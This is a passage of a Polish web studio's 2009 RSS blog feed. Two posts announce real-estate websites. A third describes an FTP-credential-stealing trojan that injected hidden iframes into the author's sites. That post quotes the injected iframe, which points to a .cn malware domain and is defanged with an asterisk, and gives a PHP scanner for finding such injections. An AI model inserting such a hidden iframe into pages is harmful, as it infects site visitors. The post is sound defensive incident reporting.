		<description><![CDATA[Ceny ofert na tej stronie sięgają 90 mln zł, a tytuł uzasadnia ten poziom: Luksusowe Apartementy i Rezydencje. Kilka dni temu uruchomiliśmy nową, opartą głównie na HTMLu stronę Savills Residential. Stara, flashowa wersja działa nadal pod adresem http://savills2.savills-residential.pl, bo zastosowany tam sposób nawigacji i prezentacji ofert nadal wydaje się nam ciekawy, a trudno go pokazać [...]]]></description>
			<content:encoded><![CDATA[<div class="wp-caption alignnone" style="width: 630px"><a href="http://www.savills-residential.pl"><img alt="Strona główna agencji nieruchomości Savills-Residential Polska, oferującej luksusowe apartamenty i rezydencje." src="http://nobigwords.ntxt.net/wp-content/uploads/2009/06/savills_residential_pl.jpg" title="Strona główna agencji nieruchomości Savills-Residential Polska, oferującej luksusowe apartamenty i rezydencje." width="620" height="387" /></a><p class="wp-caption-text">Strona główna agencji nieruchomości Savills-Residential Polska, oferującej luksusowe apartamenty i rezydencje.</p></div>
<p>Ceny ofert na tej stronie sięgają 90 mln zł, a tytuł uzasadnia ten poziom:<a href="http://www.savills-residential.pl"> Luksusowe Apartementy i Rezydencje</a>. Kilka dni temu uruchomiliśmy nową, opartą głównie na HTMLu stronę Savills Residential. Stara, flashowa wersja działa nadal pod adresem <a href="http://savills2.savills-residential.pl">http://savills2.savills-residential.pl</a>, bo zastosowany tam sposób nawigacji i prezentacji ofert nadal wydaje się nam ciekawy, a trudno go pokazać na statycznych obrazkach. Nowa strona powstawała głównie z myślą o pozycjonowaniu i jakości kodu. Sam HTML waży 11 do 21 kB, dla porównania:<br />
<a href="http://www.emerson.pl">http://www.emerson.pl</a> &#8211; 133 kB<br />
<a href="http://www.strzelczyk.pl/">http://www.strzelczyk.pl/</a> 38 kB<br />
<a href="http://www.knightfrank.com.pl/">http://www.knightfrank.com.pl/</a> 4 kB (!)<br />
<a href="http://www.gratka.pl/">http://www.gratka.pl/</a> 12 kB</p>
<p>Jeszcze niedawno dość normalne były strony powyżej 200 kB kodu. Mimo coraz szybszych łączy jakość i zwięzłość kodu poprawia się. Myślę, że w dużym stopniu jest to wymuszone SEO i kosztami transferu.</p>
<p>Oprócz ofert jak dotąd, pojawiły się też opisy <a href="http://www.savills-residential.pl/sprzedajemy_nieruchomosci">działań reklamowych Savills</a> i przykładowe realizacje. Tak się miło złożyło, że sporo z tych obrazków to nasze projekty. Oczywiście nie odeszliśmy od Flasha całkowicie, nadal prezentacje zdjęć i formularz kontaktowy to mini aplikacje w SWF. Po stronie serwera framework oparty na AMF. Do administracji ofertami służy CMS napisany we Fleksie. Obsługuje upload plików, przypisywanie ich do ofert, edycję opisów w dwóch językach, kategorie i lokalizacje ofert.</p>
No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Domy w Sosnowej Dolinie mają nową stronę</title>
		<link>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/#comments</comments>
		<pubDate>Thu, 21 May 2009 09:53:23 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[aig]]></category>
		<category><![CDATA[AIG/Lincoln]]></category>
		<category><![CDATA[deep linking]]></category>
		<category><![CDATA[domy jednorodzinne]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[lincoln]]></category>
		<category><![CDATA[magdalenka]]></category>
		<category><![CDATA[mieszkania]]></category>
		<category><![CDATA[ntxt]]></category>
		<category><![CDATA[residential]]></category>
		<category><![CDATA[sękocin]]></category>
		<category><![CDATA[sosnowa dolina]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[warszawa]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=198</guid>
		<description><![CDATA[Po dłuuugim okresie pracy, udało się uruchomić stronę podwarszawskiego osiedla domów firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje mieszkaniowej działalności dewelopera O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot [...]]]></description>
			<content:encoded><![CDATA[<p>Po dłuuugim okresie pracy, udało się uruchomić stronę <a href="http://sosnowadolina.pl">podwarszawskiego osiedla domów</a> firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje <a href="http://residential.pl">mieszkaniowej działalności dewelopera</a> O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot polegał na sensownym utrzymaniu animowanego nagłówka z menu i obrazkami, czyli spójności &#8220;user experience&#8221; ;) z jednoczesnym przechodzeniem między stronami. Najeżdżanie kursorem na fotkę powoduje rozuwanie harmonijki zdjęć, klikanie na opcje menu i obrazki czasem przenosi na inną stronę, czasem wyświetla podmenu. Konsultując rozwiązania z Klientem, w końcu jakoś to opanowaliśmy. Zdecydowaliśmy się zaakceptować jedną z wad Ajaksa, związaną z niedziałającym przyciskiem <i>wstecz</i>. Wiem, że są sposoby i na to, ale moim zdaniem zbyt skomplikowane jak na tę prostą strukturę. Za to działają deep-linki, czyli bezpośrednie odnośniki do treści. </p>
<p><small>Aha, niniejszym bardzo dziękujemy Katarzynie, obu Magdalenom i Adminowi za miłą współpracę, zaangażowanie i&#8230; pochwały. Panu Tomaszowi z <a href="http://onyx.pl">firmy hostingowej Onyx</a> również, za szybkie działanie i fachową pomoc.</small></p>
<div class="wp-caption alignnone" style="width: 630px"><a href="http://residential.pl"><img alt="Strona ogólna projektów mieszkaniowych firmy AIG/Lincoln Polska." src="http://nobigwords.ntxt.net/wp-content/uploads/2009/05/aig_lincoln_residential_pl_ntxt_net_001.jpg" title="Strona projektów mieszkaniowych firmy AIG/Lincoln Polska." width="620" height="300" /></a><p class="wp-caption-text">Strona ogólna projektów mieszkaniowych firmy AIG/Lincoln Polska.</p></div>
<div class="wp-caption alignnone" style="width: 630px"><a href="http://sosnowadolina.pl"><img alt="Nowa strona &mdash; domy wolnostojące na sprzedaż niedaleko Magdalenki pod Warszawą, AIG/Lincoln Polska." src="http://nobigwords.ntxt.net/wp-content/uploads/2009/05/aig_lincoln_sosnowadolina_pl_ntxt_net_001.jpg" title="Domy wolnostojące na sprzedaż, niedaleko Magdalenki pod Warszawą, AIG/Lincoln Polska." width="620" height="300" /></a><p class="wp-caption-text">Nowa strona &mdash; domy wolnostojące na sprzedaż niedaleko Magdalenki pod Warszawą, AIG/Lincoln Polska.</p></div>
No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iframe hack, czyli włamanie na FTP</title>
		<link>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/#comments</comments>
		<pubDate>Mon, 04 May 2009 08:45:09 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[.cn]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[doklejanie kodu]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hasło]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[lotante]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[wirus]]></category>
		<category><![CDATA[wklejanie kodu]]></category>
		<category><![CDATA[włamanie]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zagrożenie]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=176</guid>
		<description><![CDATA[Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja [...]]]></description>
			<content:encoded><![CDATA[<p>Amerykańska armia testuje <a href="http://www.wired.com/dangerroom/2009/04/army-tests-new/">automatycznych żołnierzy</a>, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie. </p>
<p>Również niniejsza strona i nasza główna &mdash; ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na &#8216;index&#8217; pojawił się taki kawałek (dodałem gwiazdkę przed http):</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=&quot;*http://lotante.cn/in.cgi?income38&quot;
width=1 height=1 style=&quot;visibility: hidden&quot;&gt;&lt;/iframe&gt;</pre></div></div>

<p>Konkretny adres bywa różny, <a href="http://blog.unmaskparasites.com/2009/04/15/malicious-income-iframes-from-cn-domains/">lista podejrzanych domen jest spora</a>. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem <a href="https://addons.mozilla.org/pl/firefox/addon/722">NoScript</a>). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. <a href="http://totalcmd.pl/download/app/new/Total_Commander_7.50_Public_Beta_2">Total Commander w najnowszej wersji </a>(7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.</p>
<p>Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające &#8216;index&#8217; w nazwie i sygnalizujący wystąpienia taga &lt;iframe&gt;. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr <i>depth</i> określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?
<span style="color: #666666; font-style: italic;">// katalog główny strony</span>
<span style="color: #000088;">$root</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/public_html'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// głębokość sprawdzania w podkatalogach</span>
<span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #cc66cc;">5</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// uruchomienie</span>
digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$root</span><span style="color: #339933;">,</span> <span style="color: #000088;">$depth</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// rekurencyjna funkcja sprawdzająca</span>
<span style="color: #000000; font-weight: bold;">function</span> digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$level</span> <span style="color: #339933;">&lt;=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$dir</span>/<span style="color: #006699; font-weight: bold;">$plik</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #666666; font-style: italic;">//$data = date(&quot;Y-m-d&quot;, filemtime($path));</span>
				<span style="color: #666666; font-style: italic;">//$prawa = decoct(fileperms($path));</span>
&nbsp;
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
					<span style="color: #666666; font-style: italic;">//$rozmiar = filesize($path);</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/index/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$plik</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
						<span style="color: #000088;">$contents</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
						<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/iframe/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$contents</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;znaleziono iframe w <span style="color: #006699; font-weight: bold;">$path</span>&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>			
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
